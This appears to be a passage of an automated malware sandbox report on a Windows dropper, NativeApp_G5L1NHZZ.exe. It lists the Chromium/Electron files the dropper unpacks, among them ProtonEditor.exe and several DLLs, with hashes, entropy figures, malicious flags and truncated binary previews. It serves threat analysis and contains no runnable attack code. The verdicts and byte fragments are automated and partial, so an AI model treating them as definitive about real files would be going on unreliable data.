                                                                                                                                                                                                                                                                Preview: Generated by licenses.py; do not edit. --><!doctype html>.<html>.<head>.<meta charset="utf-8">.<meta name="viewport" content="width=device-width">.<meta name="color-scheme" content="light dark">.<title>Credits</title>.<link rel="stylesheet" href="chrome://resources/css/text_defaults.css">.<link rel="stylesheet" href="chrome://credits/credits.css">.</head>.<body>.<span class="page-title" style="float:left;">Credits</span>.<a id="print-link" href="#" style="float:right;" hidden>Print</a>.<div style="clear:both; overflow:auto;"> Chromium <3s the following projects -->.<div class="product">.<span class="title">2-dim General Purpose FFT (Fast Fourier/Cosine/Sine Transform) Package</span>.<span class="homepage"><a href="http://www.kurims.kyoto-u.ac.jp/~ooura/fft.html">homepage</a></span>.<input type="checkbox" hidden id="0">.<label class="show" for="0" tabindex="0"></label>.<div class="licence">.<pre>Copyright(C) 1997,2001 Takuya OOURA (email: ooura@kurims.kyoto-u.ac.jp)..You may us

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\ProtonEditor.exe

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):160112640
                                                                                                                                                                                                                                                                Entropy (8bit):6.744387492953575
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:1572864:3LBZB52nvuZ7wVuMbgR7Sp6kYdEctmhoLsPagBsgkx52HYhwj+vfIBUdoJnP9Dj0:3ypCmJctBjj2+Jv
                                                                                                                                                                                                                                                                MD5:1CD5781EFBCF327826A48CD866800010
                                                                                                                                                                                                                                                                SHA1:948AEF85AE216EA83A942C246F3CD10123BADF03
                                                                                                                                                                                                                                                                SHA-256:48F422BF2B878D142F376713A543D113E9F964F6761D15D4149A4D71441739E5
                                                                                                                                                                                                                                                                SHA-512:E1FB734BF7D6F9E6096F8CD8CE1AD3DDF4F8F5A1B78AC7352DE0290E37FCC5246E714C4B5C6F60FE9B66FA54ECE303FC0012210BCE7B8B585EF3AA86A63FA910
                                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........."......0...........F.........@.............................P............`...........................................+.. ..0"..h............Pt.._@..................!.......................!.(... Q..@...........@8......`.*......................text...:/.......0.................. ..`.rdata..h.n..@....n..4..............@..@.data....TB...1.......1.............@....pdata..._@..Pt..`@...9.............@..@.00cfg..0.............z.............@..@.gxfg...pA.......B....z.............@..@.retplne.............Dz..................rodata...... .......Fz............. ..`.tls.........@.......Xz.............@...CPADinfo8....P.......\z.............@...LZMADEC......`.......^z............. ..`_RDATA..\............pz.............@..@malloc_h+............rz............. ..`.rsrc................xz.............@..@.reloc...............|.............@..B................

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\chrome_100_percent.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):127125
                                                                                                                                                                                                                                                                Entropy (8bit):7.915612661029362
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3072:vlKzwqCT4wDNzIwL2o418Gb0+VRLf0ld0GY3cQ39Vm2I:vlKzwt4uEgK18Gb0OV8ld0GecQ3f2
                                                                                                                                                                                                                                                                MD5:ACD0FA0A90B43CD1C87A55A991B4FAC3
                                                                                                                                                                                                                                                                SHA1:17B84E8D24DA12501105B87452F86BFA5F9B1B3C
                                                                                                                                                                                                                                                                SHA-256:CCBCA246B9A93FA8D4F01A01345E7537511C590E4A8EFD5777B1596D10923B4B
                                                                                                                                                                                                                                                                SHA-512:3E4C4F31C6C7950D5B886F6A8768077331A8F880D70B905CF7F35F74BE204C63200FF4A88FA236ABCCC72EC0FC102C14F50DD277A30F814F35ADFE5A7AE3B774
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:..............t...#.....:.I...J~p...K~6...L~....M~#...N~....O~`...P~m...Q~....R~....S~I...T~....U~'"..V~.,..^~.7.._~;9..b~v:..c~(<..j~.<..k~.B..l~fH..m~.J..n~.K..o~.L.....M.....N....aP....IS....BV....uY.....]....Pa.....d....h....i...hk....l....m...An....n.....................................K.....x...........4.....m.....D.............................1........................'.....*.....4.....>.....C.....D....hM.....U.....V....>X.....Z....E].....]....a...%c....d....f....h....i....k....l....o...wq....t...7v....y....}....~...m................................3.................g.....6............................k.....-...........3.....9......................H.......................Y.................{.....s....M..............F...................&....y..............\....p....Z.........Z.........g...........................T..................6...............M.................r...........1.................X.................u.......

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\chrome_200_percent.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):177406
                                                                                                                                                                                                                                                                Entropy (8bit):7.939611912805236
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3072:4DQYaEQN6AJPKNzIwafR54x5GMR+F44ffbdZnYw9p4AbIVGYoDd+HxNK/rIM0:4DQYaNN68QEVgx5GMRejnbdZnVE6YopY
                                                                                                                                                                                                                                                                MD5:4610337E3332B7E65B73A6EA738B47DF
                                                                                                                                                                                                                                                                SHA1:8D824C9CF0A84AB902E8069A4DE9BF6C1A9AAF3B
                                                                                                                                                                                                                                                                SHA-256:C91ABF556E55C29D1EA9F560BB17CC3489CB67A5D0C7A22B58485F5F2FBCF25C
                                                                                                                                                                                                                                                                SHA-512:039B50284D28DCD447E0A486A099FA99914D29B543093CCCDA77BBEFDD61F7B7F05BB84B2708AE128C5F2D0C0AB19046D08796D1B5A1CFF395A0689AB25CCB51
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:..............t...#.....:.t...J~....K~....L~....M~....N~....O~....P~.%..Q~.*..R~.-..S~c5..T~.9..U~.A..V~.V..^~Ck.._~.m..b~)o..c~yr..j~#s..k~.}..l~....m~...n~...o~......................................K.....!..................Q..............*........................a.......................,%....H0.....2....E:....(A.....F.....L.....R.....T....QY....:].....f.....i....br....Sv..........C...........).................].....}................................................................................................. ....!....%.....*.....,..........O/...../....y1.....2....l4.....6.....7....A:.....?.....C.....K.....S.....Y....._.....e....Ok.....l.....m.....n.....o.....q.....r.....s.....u....:w..............P............................%.............7................,........G........u.............B........S.........a....%........;.....................l...........T..........R...........6..........).............

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\d3dcompiler_47.dll

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):4916712
                                                                                                                                                                                                                                                                Entropy (8bit):6.398049523846958
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:49152:KCZnRO4XyM53Rkq4ypQqdoRpmruVNYvkaRwvhiD0N+YEzI4og/RfzHLeHTRhFRNc:xG2QCwmHPnog/pzHAo/A6l
                                                                                                                                                                                                                                                                MD5:2191E768CC2E19009DAD20DC999135A3
                                                                                                                                                                                                                                                                SHA1:F49A46BA0E954E657AAED1C9019A53D194272B6A
                                                                                                                                                                                                                                                                SHA-256:7353F25DC5CF84D09894E3E0461CEF0E56799ADBC617FCE37620CA67240B547D
                                                                                                                                                                                                                                                                SHA-512:5ADCB00162F284C16EC78016D301FC11559DD0A781FFBEFF822DB22EFBED168B11D7E5586EA82388E9503B0C7D3740CF2A08E243877F5319202491C8A641C970
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........|3..]...]...]..e\...]...\.5.]..e...]..wX...]..wY...]..e^...]..eX.y.]..eY...]..e]...]..eU./.]..e....]..e_...].Rich..].................PE..d...^.}`.........." ......8..........<).......................................K.....:FK...`A........................................`%G.x....(G.P.....J.@.....H.......J..%....J.....p.D.p....................S<.(...pR<.@............S<.(............................text.....8.......8................. ..`.rdata...F....8..P....8.............@..@.data...`....@G......@G.............@....pdata........H......@H.............@..@.rsrc...@.....J......@J.............@..@.reloc........J......PJ.............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\ffmpeg.dll

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):2883072
                                                                                                                                                                                                                                                                Entropy (8bit):6.697367886822868
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:49152:YGJO72cNsdMZWfAn1fdmZMOqcQrGhjUHgNxGUwSCmmfYDJGz5SN3lzl3hSKqH:Jj8n1QqGCmmfIUz59t
                                                                                                                                                                                                                                                                MD5:E096C168B79A56DED0DF1AA142D9F1DA
                                                                                                                                                                                                                                                                SHA1:318F20DAB294A315BD935160E9417FB5B28300F5
                                                                                                                                                                                                                                                                SHA-256:65CC75329D17EC264E7A2DB571EA55F918394241445EA64569A56C75D0CFDC60
                                                                                                                                                                                                                                                                SHA-512:3DCCF6CE85EF7E75690A5851642F10BB5E6E1572E91E933BACB7FCBFE405B0412B94BA0E160C3BA8D68D2B9AFC1DA268F61C83DCCD6453D8C9470931EE900BFD
                                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." .....$#..................................................@B...........`A..........................................*.......*.(.............@...............B..3....).......................).(....R#.@............"*.P............................text....##......$#................. ..`.rdata..l....@#......(#.............@..@.data...x.....*.."....*.............@....pdata........@.......*.............@..@.00cfg..8.....A.......+.............@..@.gxfg....,....A.......+.............@..@.retplne......A.......+..................tls..........A.......+.............@..._RDATA..\.....A.......+.............@..@.reloc...3....B..4....+.............@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\icudtl.dat

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):10542048
                                                                                                                                                                                                                                                                Entropy (8bit):6.277141340322909
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:98304:OKPBQYOo+ddlymOk25flQCUliXUxiG9Ha93Whla6ZGdnp/8k:OKPBhORjOhCliXUxiG9Ha93Whla6ZGrn
                                                                                                                                                                                                                                                                MD5:D89CE8C00659D8E5D408C696EE087CE3
                                                                                                                                                                                                                                                                SHA1:49FC8109960BE3BB32C06C3D1256CB66DDED19A8
                                                                                                                                                                                                                                                                SHA-256:9DFBE0DAD5C7021CFE8DF7F52458C422CBC5BE9E16FF33EC90665BB1E3F182DE
                                                                                                                                                                                                                                                                SHA-512:DB097CE3EB9E132D0444DF79B167A7DCB2DF31EFFBBD3DF72DA3D24AE2230CC5213C6DF5E575985A9918FBD0A6576E335B6EBC12B6258BC93FA205399DE64C37
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:...'........CmnD........ Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html .Q....B.......B...#...B.. $...B..p$...B...$...B...%...B..`P...C...P...C...Q..(C......<C.....OC......bC..@...uC.......C..P....C.......C.......C..p....C.. ....C.......C.......D..p... D.....3D..0...FD.....YD.....lD.......D......D..0....D.......D..p....D......D..@....D.......E......E..@...*E.....=E..P...NE......bE.....rE..@....E.......E.......E..P....E.......E......E..@....F.......F.....'F..0...7F..P...JF......aF......qF...G...F.. H...F..`K...F...K...F...L...F...-...F...c...G....'.'G....'.>G..@.'.UG..0.'.oG....'..G...!'..G...!'..G..P&'..G...)'..G..@*'..H..`.(..H...e).7H..0.).VH...)*.xH....*..H....*..H...P+..H...Y+..H...Z+..I...]+. I..`^+.9I.. .+.UI....+.lI....+..I..P.-..I...=...I.......I.......I.. ....J..p....J......-J..p...EJ......ZJ......rJ..`....J..@....J.......J.......J..0....J.......J.......J..0....K..@....K..../.2K...,/.GK..../.\K..

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\libEGL.dll

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):481280
                                                                                                                                                                                                                                                                Entropy (8bit):6.330677392522242
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6144:F9L2FFtoVsruIzUEzUST6uHKw+BubaOQ74PlqF8:F9CGafznzUSTRY70I
                                                                                                                                                                                                                                                                MD5:1EECFB04C4434F5A813C8F0C0C8F2C88
                                                                                                                                                                                                                                                                SHA1:6DC3CA4B3F72E7FB33BA26FA488DE323EDB59ADD
                                                                                                                                                                                                                                                                SHA-256:897CEB95FB164640DDD2426673997B5F6FC2619FD916B038B575A70A0682A706
                                                                                                                                                                                                                                                                SHA-512:D7818A42A76508AC3150AEA8D4E168B2DB36F55F71983A177002086380A82E307624CFE37B01FFC3D7EB407485D182654D0D7C6A0C06CCAAE60666630469C7E0
                                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." .....$................................................................`A........................................00......F>..(.......x.... ...C..............0....(.......................'..(...@A..@...........pA...............................text....".......$.................. ..`.rdata.......@.......(..............@..@.data....L....... ..................@....pdata...C... ...D..................@..@.00cfg..8....p......................@..@.gxfg...`$.......&..................@..@.retplne.............>...................tls....!............@..............@..._RDATA..\............B..............@..@.rsrc...x............D..............@..@.reloc..0............J..............@..B................................................................................................................................................................................

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\libGLESv2.dll

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):7625728
                                                                                                                                                                                                                                                                Entropy (8bit):6.463180789552528
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:98304:U8qvGdDtslh+LD3ZDWfnSvBSDU5bPm3k89Ld3gsOMt/:JD3ZXJ7bPWLWsD/
                                                                                                                                                                                                                                                                MD5:CBA2436016F7A2838588A52D5B6F30F1
                                                                                                                                                                                                                                                                SHA1:81DDF44B3E122DFBEE1A2CD8D4544364F1A621A4
                                                                                                                                                                                                                                                                SHA-256:BCB3A3D2FCA3C33FA3D1D5DC976AA913CDC8001DF8E64C2CD3D2C545245141BF
                                                                                                                                                                                                                                                                SHA-512:D92A880B5F83C5AE10AE9A83E38A293BB0E8C7659DD6ECE162FC752D57C9FCDE8036B81B023CD9F0F4F32B95B06FD4C366E20301010354B6CB904398A3149A44
                                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." ......Z...........M......................................`u...........`A..........................................k.8.....l.d....pt.......q.lO............t......vk.....................huk.(.....Z.@.............l.......k.@....................text...e.Z.......Z................. ..`.rdata..l.....Z.......Z.............@..@.data.........m..|....m.............@....pdata..lO....q..P....q.............@..@.00cfg..8.....t......Ps.............@..@.gxfg....+....t..,...Rs.............@..@.retplne.....@t......~s..................tls....:....Pt.......s.............@..._RDATA..\....`t.......s.............@..@.rsrc........pt.......s.............@..@.reloc........t.......s.............@..B................................................................................................................................................................................

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\af.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):377708
                                                                                                                                                                                                                                                                Entropy (8bit):5.4079285675542845
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6144:ebGJWQdLX/Wi6fR9a5DhZ2FQPnUGSBhjA636Zi2Jyn9Ybt5KXpgmLwSVxJsVxSjf:6GJW2bOi6fRmZ2OPnUThjA636Zi2Jynd
                                                                                                                                                                                                                                                                MD5:7E51349EDC7E6AED122BFA00970FAB80
                                                                                                                                                                                                                                                                SHA1:EB6DF68501ECCE2090E1AF5837B5F15AC3A775EB
                                                                                                                                                                                                                                                                SHA-256:F528E698B164283872F76DF2233A47D7D41E1ABA980CE39F6B078E577FD14C97
                                                                                                                                                                                                                                                                SHA-512:69DA19053EB95EEF7AB2A2D3F52CA765777BDF976E5862E8CEBBAA1D1CE84A7743F50695A3E82A296B2F610475ABB256844B6B9EB7A23A60B4A9FC4EAE40346D
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........E...h.....i.....j.....k.....l.....n."...o.'...p.4...r.:...s.K...t.T...v.i...w.v...y.|...z.....|.....}.....................................................................................-.....>.....E.....N.....g.....p.....{...................................................../.....?.....K.....X.....y...........................................................<.....R.....W.....].....l.....y.....}.....................................................+.....9.....A.....I.....P.....U.....c.....s...............................................%.....J.....d.....m.....y...........................................................+.....2.....5.....6.....B.....L.....V.....].....g.............................O.....^.....k.................................................................".....5.....Q.....z....................................... .....".....%.....(.$...*.D...+.G...,.e........./.....0.....1.....3.....4.....5.....6.D...7.U...8.j...9.y...<.....=.....>.....?.....@.....A.....C.$...D.+.

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\am.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):613642
                                                                                                                                                                                                                                                                Entropy (8bit):4.894733266944232
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:12288:b3pIuPzq8xSTwO8sgjZz5E9VJAVtnuviQix30jH8+I:b3plq8xLO8zjZz5E9VJAVtSiQO
                                                                                                                                                                                                                                                                MD5:2009647C3E7AED2C4C6577EE4C546E19
                                                                                                                                                                                                                                                                SHA1:E2BBACF95EC3695DAAE34835A8095F19A782CBCF
                                                                                                                                                                                                                                                                SHA-256:6D61E5189438F3728F082AD6F694060D7EE8E571DF71240DFD5B77045A62954E
                                                                                                                                                                                                                                                                SHA-512:996474D73191F2D550C516ED7526C9E2828E2853FCFBE87CA69D8B1242EB0DEDF04030BBCA3E93236BBD967D39DE7F9477C73753AF263816FAF7D4371F363BA3
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........W...h.....i.....j.'...k.6...l.A...n.I...o.N...p.[...r.a...s.r...t.{...v.....w.....y.....z.....|.....}.........................................................................7.....S.....i.........................................L.....k.....m.....q...................................1.....A.....`.............................".....4.....=.....\.....~...................................5.....Q.....W.....Z.....i.............................K.....z.....................................................8.....G.....`.............................".........................................>.....A.....s.............................@.....G.....J.....K.....W.....`.....|.......................<............................./.....g.....w...............................................3.......................E.....j.....p.....x..................... .....".....%.6...(.c...*.....+.....,.........../.....0.....1.]...3.y...4.....5.....6.K...7.s...8.....9.....;.....<.....=.....>.?...?.I...@.i...A.....C...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\ar.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):671738
                                                                                                                                                                                                                                                                Entropy (8bit):4.903433286644294
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:12288:gjptqBycpX8vYULIrmhkH+P5NNb++YTzgpPMgSENeX:BB2um5S++
                                                                                                                                                                                                                                                                MD5:47A6D10B4112509852D4794229C0A03B
                                                                                                                                                                                                                                                                SHA1:2FB49A0B07FBDF8D4CE51A7B5A7F711F47A34951
                                                                                                                                                                                                                                                                SHA-256:857FE3AB766B60A8D82B7B6043137E3A7D9F5CFB8DDD942316452838C67D0495
                                                                                                                                                                                                                                                                SHA-512:5F5B280261195B8894EFAE9DF2BECE41C6C6A72199D65BA633C30D50A579F95FA04916A30DB77831F517B22449196D364D6F70D10D6C5B435814184B3BCF1667
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........*...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.!...v.6...w.C...y.I...z.X...|.^...}.p.....x.....}.................................................................'.....^.....n...................................'.....*...........V.....x.........................................G.....].....p...............................................o...................................................../.....Q.....s.......................(....._.....i.....q.....x.............................#.....:.....m.......................).....Z.....k.........................................$.....?.....U.....k...........................................................p.................7.....L.....h.......................!.....1.....9.....E.....g.......................&.....Z............................................. .'...".D...%.x...(.....*.....+.....,.6.....M.../.~...0.....1.....3.....4.....5.,...6.....7.....8.....9.....;.....<.:...=.P...>.....?.....@.....A.....C.....D.....E.!...F._.

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\bg.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):701716
                                                                                                                                                                                                                                                                Entropy (8bit):4.66095894344634
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:12288:7Od6KqVw2iILlY+dAs1aQUfjoaVV4FH2mFxvx35uKN3CuKb7szmV2Jfu64K+z5jG:KsKqJi6lY+dAs1aQU7yZx35uK4XQzQI9
                                                                                                                                                                                                                                                                MD5:A19269683A6347E07C55325B9ECC03A4
                                                                                                                                                                                                                                                                SHA1:D42989DAF1C11FCFFF0978A4FB18F55EC71630EC
                                                                                                                                                                                                                                                                SHA-256:AD65351A240205E881EF5C4CF30AD1BC6B6E04414343583597086B62D48D8A24
                                                                                                                                                                                                                                                                SHA-512:1660E487DF3F3F4EC1CEA81C73DCA0AB86AAF121252FBD54C7AC091A43D60E1AFD08535B082EFD7387C12616672E78AA52DDDFCA01F833ABEF244284482F2C76
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........P...h.....i.....j.....k.%...l.0...n.8...o.=...p.J...r.P...s.a...t.j...v.....w.....y.....z.....|.....}.........................................................................F.....h...............................................[.........................................#.....Q.....x...................................[.........................................T...............................................'.....U......................./.....c...............................................>.....s.............................4.....^................. .....9.....V.....l...................................\...............................................&.....B.....S.....v...............................................O.....r...................................0.......................9.....z.......................-.....[............... .....".....%.....(.E...*.q...+.t...,.........../.....0.....1.....3.....4.....5.....6.....7.....8.....9.....;.3...<.G...=._...>.....?.....@.....A.....C.F.

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\bn.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):904943
                                                                                                                                                                                                                                                                Entropy (8bit):4.273773274227575
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:1536:wqf22AwWk+ADszaaH0PaMadiMNKVbVtQW01jilDouMGsW2uMBVr+9RU4yVS5PMxq:1zW/AMfafVoCp8YbkJBbdJ2DB5y0XlRB
                                                                                                                                                                                                                                                                MD5:5CDD07FA357C846771058C2DB67EB13B
                                                                                                                                                                                                                                                                SHA1:DEB87FC5C13DA03BE86F67526C44F144CC65F6F6
                                                                                                                                                                                                                                                                SHA-256:01C830B0007B8CE6ACA46E26D812947C3DF818927B826F7D8C5FFD0008A32384
                                                                                                                                                                                                                                                                SHA-512:2AC29A3AA3278BD9A8FE1BA28E87941F719B14FBF8B52E0B7DC9D66603C9C147B9496BF7BE4D9E3AA0231C024694EF102DCC094C80C42BE5D68D3894C488098C
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........K...h.....i.....j.....k.$...l./...n.7...o.=...p.J...r.P...s.a...t.j...v.....w.....y.....z.....|.....}.............................................................................................................7.....a.......................".....$.....(.....P.......................+.....T.....p.......................H...................................M.....c...........5.....D....._.........................................A.....z.................B.......................................................................H.....a.....s.........................................B.....g.............................3.....W.....{...............................................>...........j...................................6.....R.........................................g...........9.....u...........V...................................8... .M...".....%.....(. ...*.\...,._........./.....0.....1.`...3.....4.....5.....6.....7.....8.E...9.d...;.....<.....=.....>."...?.5...@.j...A.....C.3...D.S.

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\ca.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):426906
                                                                                                                                                                                                                                                                Entropy (8bit):5.400864409916039
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:12288:+XnGrijIs3cSlFEYLCJBB43nbhjJSwmrwiwWzM1ldLbpuQ16BtryBBwIle3nei3X:iNV4ossMNu51hnW5CptA
                                                                                                                                                                                                                                                                MD5:D259469E94F2ADF54380195555154518
                                                                                                                                                                                                                                                                SHA1:D69060BBE8E765CA4DC1F7D7C04C3C53C44B8AB5
                                                                                                                                                                                                                                                                SHA-256:F98B7442BEFC285398A5DD6A96740CBA31D2F5AADADD4D5551A05712D693029B
                                                                                                                                                                                                                                                                SHA-512:D0BD0201ACF4F7DAA84E89AA484A3DEC7B6A942C3115486716593213BE548657AD702EF2BC1D3D95A4A56B0F6E7C33D5375F41D6A863E4CE528F2BD6A318240E
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:........N...h.....i.....j.....k.!...l.,...n.4...o.9...p.F...r.L...s.]...t.f...v.{...w.....y.....z.....|.....}...............................................................................6.....O.....o.....|.....................................................2.....J.....j.....q...........................................................1.....;.....M.....].......................................................................D.....i.................................................................+.....2.....?.....u.........................................".....5.....F.....b.....e.....}.............................................................................&.....h......................./.....P.....s.....................................................4.....P.....|...............................................:.....F... .Q...".g...%.....(.....*.....+.....,.........../.-...0.2...1.h...3.x...4.....5.....6.....7.....8.....9.(...;.6...<.D...=.R...>.l...?.v...@.....A.....C.....D.....E...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\cs.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):436202
                                                                                                                                                                                                                                                                Entropy (8bit):5.843819816549512
                                                                                                                                                                                                                                                                Encrypted:false
